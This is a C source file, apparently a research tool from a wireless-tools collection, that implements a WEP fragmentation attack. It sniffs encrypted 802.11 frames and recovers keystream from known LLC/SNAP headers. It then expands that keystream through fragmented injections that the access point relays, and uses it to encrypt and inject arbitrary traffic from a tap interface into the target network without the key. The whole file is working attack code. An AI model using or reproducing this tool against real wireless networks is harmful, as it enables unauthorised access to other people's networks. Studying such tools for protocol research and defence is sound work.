1 /*-
2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 *
14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24 * SUCH DAMAGE.
25 */
26 #include <sys/endian.h>
27 #include <sys/time.h>
28 #include <sys/select.h>
29 #include <stdio.h>
30 #include <stdlib.h>
31 #include <string.h>
32 #include <err.h>
33 #include <unistd.h>
34 #include <fcntl.h>
35 #include <assert.h>
36 #include <zlib.h>
37 #include "w00t.h"
38
39
40 static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
41 static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
42 static int known_pt_len = 8;
43
44 enum {
45 S_START = 0,
46 S_SEND_FRAG,
47 S_WAIT_ACK,
48 S_WAIT_RELAY
49 };
50
51 struct params {
52 int tx;
53 int rx;
54
55 char mac[6];
56 char ap[6];
57
58 char prga[2048];
59 int prga_len;
60 char iv[3];
61
62 char *fname;
63
64 struct timeval last;
65 char packet[2048];
66 int packet_len;
67 int state;
68
69 char data[2048];
70 char *data_ptr;
71 int data_len;
72 int data_try;
73 int mtu;
74
75 int seq;
76 int frag;
77
78 int tap;
79 };
80
usage(char * p)81 void usage(char *p)
82 {
83 printf("Usage: %s <opts>\n"
84 "-h\thelp\n"
85 "-b\t<bssid>\n"
86 "-t\t<tap>\n"
87 , p);
88 exit(0);
89 }
90
load_prga(struct params * p)91 void load_prga(struct params *p)
92 {
93 int fd;
94 int rd;
95
96 fd = open(p->fname, O_RDONLY);
97 if (fd == -1) {
98 p->prga_len = 0;
99 return;
100 }
101
102 rd = read(fd, p->iv, 3);
103 if (rd == -1)
104 err(1, "read()");
105 if (rd != 3) {
106 printf("Short read\n");
107 exit(1);
108 }
109
110 rd = read(fd, p->prga, sizeof(p->prga));
111 if (rd == -1)
112 err(1, "read()");
113 p->prga_len = rd;
114
115 printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
116 close(fd);
117 }
118
save_prga(struct params * p)119 void save_prga(struct params *p)
120 {
121 int fd;
122 int rd;
123
124 fd = open(p->fname, O_WRONLY | O_CREAT, 0644);
125 if (fd == -1)
126 err(1, "open()");
127
128 rd = write(fd, p->iv, 3);
129 if (rd == -1)
130 err(1, "write()");
131 if (rd != 3) {
132 printf("Short write\n");
133 exit(1);
134 }
135
136 rd = write(fd, p->prga, p->prga_len);
137 if (rd == -1)
138 err(1, "write()");
139 if (rd != p->prga_len) {
140 printf("Wrote %d/%d\n", rd, p->prga_len);
141 exit(1);
142 }
143 close(fd);
144
145 printf("Got %d bytes of PRGA\n", p->prga_len);
146 }
147
is_arp(struct ieee80211_frame * wh,int len)148 int is_arp(struct ieee80211_frame *wh, int len)
149 {
150 /* XXX */
151 if (len > (sizeof(*wh) + 4 + 4 + 39))
152 return 0;
153
154 return 1;
155 }
156
get_prga(struct params * p)157 void get_prga(struct params *p)
158 {
159 char buf[4096];
160 int rc;
161 struct ieee80211_frame *wh;
162 char *bssid;
163 char *ptr;
164 char *known_pt;
165
166 rc = sniff(p->rx, buf, sizeof(buf));
167 if (rc == -1)
168 err(1, "sniff()");
169
170 wh = get_wifi(buf, &rc);
171 if (!wh)
172 return;
173
174 if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
175 IEEE80211_FC0_SUBTYPE_DATA))
176 return;
177
178 if (is_arp(wh, rc))
179 known_pt = known_pt_arp;
180 else
181 known_pt = known_pt_ip;
182
183 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
184 bssid = wh->i_addr1;
185 else
186 bssid = wh->i_addr2;
187
188 if (memcmp(p->ap, bssid, 6) != 0)
189 return;
190
191 if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
192 printf("Packet not WEP!\n");
193 return;
194 }
195
196 ptr = (char*) (wh+1);
197 memcpy(p->iv, ptr, 3);
198 ptr += 4;
199 rc -= sizeof(wh) + 4;
200
201 assert(rc >= known_pt_len);
202
203 for (rc = 0; rc < known_pt_len; rc++) {
204 p->prga[rc] = known_pt[rc] ^ (*ptr);
205 ptr++;
206 }
207
208 p->prga_len = rc;
209 save_prga(p);
210 }
211
start(struct params * p)212 void start(struct params *p)
213 {
214 int len;
215
216 len = p->prga_len;
217 len -= 4;
218 assert(len > 0);
219
220 len *= 4;
221 if (len > p->mtu)
222 len = p->mtu;
223
224 p->data_len = len;
225 memset(p->data, 0, p->data_len);
226 memcpy(p->data, "\xaa\xaa\x03\x00\x00\x00\x08\x06", 8);
227 p->data_ptr = p->data;
228 p->data_try = 0;
229 p->seq++;
230 p->frag = 0;
231 p->state = S_SEND_FRAG;
232 }
233
send_packet(struct params * p)234 void send_packet(struct params *p)
235 {
236 int rc;
237 struct ieee80211_frame *wh;
238
239 rc = inject(p->tx, p->packet, p->packet_len);
240 if (rc == -1)
241 err(1, "inject()");
242 if (rc != p->packet_len) {
243 printf("Wrote %d/%d\n", rc, p->packet_len);
244 exit(1);
245 }
246
247 p->data_try++;
248 wh = (struct ieee80211_frame*) p->packet;
249 wh->i_fc[1] |= IEEE80211_FC1_RETRY;
250
251 if (gettimeofday(&p->last, NULL) == -1)
252 err(1, "gettimeofday()");
253 }
254
send_frag(struct params * p)255 void send_frag(struct params *p)
256 {
257 struct ieee80211_frame *wh;
258 int dlen, rem;
259 int last = 0;
260 short *seqp;
261 char *ptr;
262 uLong *pcrc;
263 uLong crc = crc32(0L, Z_NULL, 0);
264 int i;
265
266 memset(p->packet, 0, sizeof(p->packet));
267 wh = (struct ieee80211_frame*) p->packet;
268
269 /* calculate how much data we need to copy */
270 dlen = p->prga_len - 4;
271 rem = p->data_ptr - p->data;
272 rem = p->data_len - rem;
273
274 if (rem <= dlen) {
275 dlen = rem;
276 last = 1;
277 }
278
279 /* 802.11 */
280 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
281 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
282 wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
283 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
284 if (!last)
285 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
286
287 wh->i_dur[0] = 0x69;
288 wh->i_dur[1] = 0x00;
289
290 memcpy(wh->i_addr1, p->ap, 6);
291 memcpy(wh->i_addr2, p->mac, 6);
292 memset(wh->i_addr3, 0xff, 6);
293
294 seqp = (short*) wh->i_seq;
295 *seqp = seqfn(p->seq, p->frag);
296 p->frag++;
297
298 /* IV & data */
299 ptr = (char*) (wh+1);
300 memcpy(ptr, p->iv, 3);
301 ptr += 4;
302 memcpy(ptr, p->data_ptr, dlen);
303
304 /* crc */
305 crc = crc32(crc, ptr, dlen);
306 pcrc = (uLong*) (ptr+dlen);
307 *pcrc = crc;
308
309 /* wepify */
310 for (i = 0; i < dlen+4; i++)
311 ptr[i] = ptr[i] ^ p->prga[i];
312
313 /* prepare for next frag */
314 p->packet_len = sizeof(*wh) + 4 + dlen + 4;
315 p->data_ptr += dlen;
316 #if 0
317 printf("Sening %sfrag [%d/%d] [len=%d]\n", last ? "last " : "",
318 p->seq, p->frag, dlen);
319 #endif
320 if (last) {
321 p->data_ptr = p->data;
322 p->frag = 0;
323 p->seq++;
324 }
325
326 /* send it off */
327 send_packet(p);
328 p->state = S_WAIT_ACK;
329 }
330
wait_ack(struct params * p)331 void wait_ack(struct params *p)
332 {
333 struct timeval now;
334 int el;
335 int tout = 10*1000;
336 fd_set fds;
337 int rc;
338 char buf[4096];
339 struct ieee80211_frame *wh;
340
341 if (gettimeofday(&now, NULL) == -1)
342 err(1, "gettimeofday()");
343
344 /* check for timeout */
345 el = elapsed(&p->last, &now);
346 if (el >= tout) {
347 if (p->data_try >= 3) {
348 #if 0
349 printf("Re-sending whole lot\n");
350 #endif
351 p->state = S_START;
352 return;
353 }
354 #if 0
355 printf("Re-sending frag\n");
356 #endif
357 send_packet(p);
358 el = 0;
359 }
360
361 el = tout - el;
362 now.tv_sec = el/1000/1000;
363 now.tv_usec = el - now.tv_sec*1000*1000;
364
365 FD_ZERO(&fds);
366 FD_SET(p->rx, &fds);
367 if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
368 err(1, "select()");
369
370 if (!FD_ISSET(p->rx, &fds))
371 return;
372
373 /* grab ack */
374 rc = sniff(p->rx, buf, sizeof(buf));
375 if (rc == -1)
376 err(1, "sniff()");
377
378 wh = get_wifi(buf, &rc);
379 if (!wh)
380 return;
381
382 if (!frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK))
383 return;
384
385 if (memcmp(p->mac, wh->i_addr1, 6) != 0)
386 return;
387
388 /* wait for relay */
389 if (p->frag == 0) {
390 p->state = S_WAIT_RELAY;
391 if (gettimeofday(&p->last, NULL) == -1)
392 err(1, "gettimeofday()");
393 }
394 else
395 p->state = S_SEND_FRAG;
396 }
397
wait_relay(struct params * p)398 void wait_relay(struct params *p)
399 {
400 int tout = 20*1000;
401 struct timeval now;
402 int el;
403 fd_set fds;
404 int rc;
405 char buf[4096];
406 struct ieee80211_frame *wh;
407 char *ptr;
408 uLong crc = crc32(0L, Z_NULL, 0);
409 uLong *pcrc;
410
411 if (gettimeofday(&now, NULL) == -1)
412 err(1, "gettimeofday()");
413
414 el = elapsed(&p->last, &now);
415 if (el >= tout) {
416 #if 0
417 printf("No relay\n");
418 #endif
419 p->state = S_START;
420 return;
421 }
422 el = tout - el;
423 now.tv_sec = el/1000/1000;
424 now.tv_usec = el - now.tv_sec*1000*1000;
425
426 FD_ZERO(&fds);
427 FD_SET(p->rx, &fds);
428 if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
429 err(1, "select()");
430
431 if (!FD_ISSET(p->rx, &fds))
432 return;
433
434 /* get relay */
435 rc = sniff(p->rx, buf, sizeof(buf));
436 if (rc == -1)
437 err(1, "sniff()");
438
439 wh = get_wifi(buf, &rc);
440 if (!wh)
441 return;
442
443 if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
444 IEEE80211_FC0_SUBTYPE_DATA))
445 return;
446
447 if (memcmp(wh->i_addr2, p->ap, 6) != 0)
448 return;
449
450 if (memcmp(wh->i_addr3, p->mac, 6) != 0)
451 return;
452
453 if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) != 0)
454 return;
455
456 /* lends different due to padding? */
457 if ( (rc - sizeof(*wh) - 8) != p->data_len)
458 return;
459
460 /* grab new PRGA */
461 assert(p->data_len >= p->prga_len);
462 ptr = (char*) (wh+1);
463 memcpy(p->iv, ptr, 3);
464 ptr += 4;
465
466 crc = crc32(crc, p->data, p->data_len);
467 pcrc = (uLong*) &p->data[p->data_len]; /* XXX overflow ph33r */
468 *pcrc = crc;
469
470 for (rc = 0; rc < p->data_len+4; rc++)
471 p->prga[rc] = p->data[rc] ^ ptr[rc];
472
473 p->prga_len = p->data_len+4;
474 p->state = S_START;
475 save_prga(p);
476 }
477
get_more_prga(struct params * p)478 void get_more_prga(struct params *p)
479 {
480 switch (p->state) {
481 case S_START:
482 start(p);
483 break;
484
485 case S_SEND_FRAG:
486 send_frag(p);
487 break;
488
489 case S_WAIT_ACK:
490 wait_ack(p);
491 break;
492
493 case S_WAIT_RELAY:
494 wait_relay(p);
495 break;
496
497 default:
498 printf("WTF %d\n", p->state);
499 abort();
500 break;
501 }
502 }
503
read_tap(struct params * p)504 void read_tap(struct params *p)
505 {
506 int offset;
507 char *ptr;
508 struct ieee80211_frame *wh;
509 int rc;
510 char dst[6];
511 short *seq;
512 uLong *pcrc;
513 uLong crc = crc32(0L, Z_NULL, 0);
514
515 memset(p->packet, 0, sizeof(p->packet));
516 offset = sizeof(*wh) + 4 + 8 - 14;
517 rc = sizeof(p->packet) - offset;
518 ptr = &p->packet[offset];
519
520 rc = read(p->tap, ptr, rc);
521 if (rc == -1)
522 err(1, "read()");
523
524 memcpy(dst, ptr, sizeof(dst));
525 wh = (struct ieee80211_frame*) p->packet;
526 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
527 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
528 wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
529 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
530
531 wh->i_dur[0] = 0x69;
532
533 memcpy(wh->i_addr1, p->ap, 6);
534 memcpy(wh->i_addr2, p->mac, 6);
535 memcpy(wh->i_addr3, dst, 6);
536
537 seq = (short*) wh->i_seq;
538 *seq = seqfn(p->seq++, 0);
539
540 /* data */
541 ptr = (char*) (wh+1);
542 memcpy(ptr, p->iv, 3);
543 ptr += 3;
544 *ptr++ = 0;
545 memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00", 6);
546 rc -= 14;
547 rc += 8;
548
549 crc = crc32(crc, ptr, rc);
550 pcrc = (uLong*) (ptr+rc);
551 *pcrc = crc;
552
553 rc += 4;
554
555 assert(p->prga_len >= rc);
556
557 /* wepify */
558 for (offset = 0; offset < rc; offset++)
559 ptr[offset] ^= p->prga[offset];
560
561 p->packet_len = sizeof(*wh) + 4 + rc;
562 p->data_try = 0;
563 send_packet(p);
564 p->state = S_WAIT_ACK;
565 }
566
567 /* XXX */
wait_tap_ack(struct params * p)568 void wait_tap_ack(struct params *p)
569 {
570 p->data_try = 0;
571 p->frag = 1;
572 wait_ack(p);
573
574 if (p->state == S_SEND_FRAG) {
575 #if 0
576 printf("Got ACK\n");
577 #endif
578 p->state = S_START;
579 }
580 }
581
transmit(struct params * p)582 void transmit(struct params *p)
583 {
584 switch (p->state) {
585 case S_START:
586 read_tap(p);
587 break;
588
589 case S_WAIT_ACK:
590 wait_tap_ack(p);
591 break;
592
593 default:
594 printf("wtf %d\n", p->state);
595 abort();
596 break;
597 }
598 }
599
main(int argc,char * argv[])600 int main(int argc, char *argv[])
601 {
602 struct params p;
603 char *iface = "wlan0";
604 char *tap = "tap0";
605 int ch;
606
607 memset(&p, 0, sizeof(p));
608 p.fname = "prga.log";
609 memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6);
610 p.state = S_START;
611 p.mtu = 1500;
612 p.seq = getpid();
613
614 while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
615 switch (ch) {
616 case 'b':
617 if (str2mac(p.ap, optarg) == -1) {
618 printf("Can't parse BSSID\n");
619 exit(1);
620 }
621 break;
622
623 case 't':
624 tap = optarg;
625 break;
626
627 case 'h':
628 default:
629 usage(argv[0]);
630 break;
631 }
632 }
633
634 /* init */
635 if ((p.rx = open_rx(iface)) == -1)
636 err(1, "open_rx()");
637 if ((p.tx = open_tx(iface)) == -1)
638 err(1, "open_tx()");
639
640 if ((p.tap = open_tap(tap)) == -1)
641 err(1, "open_tap()");
642 if (set_iface_mac(tap, p.mac) == -1)
643 err(1, "set_iface_mac()");
644
645 printf("Obtaining PRGA\n");
646 /* make sure we got some prga */
647 load_prga(&p);
648
649 while (p.prga_len == 0)
650 get_prga(&p);
651
652 /* lets grab some more */
653 while (p.prga_len < p.mtu)
654 get_more_prga(&p);
655
656 /* transmit */
657 p.state = S_START;
658 while (1)
659 transmit(&p);
660
661 exit(0);
662 }
663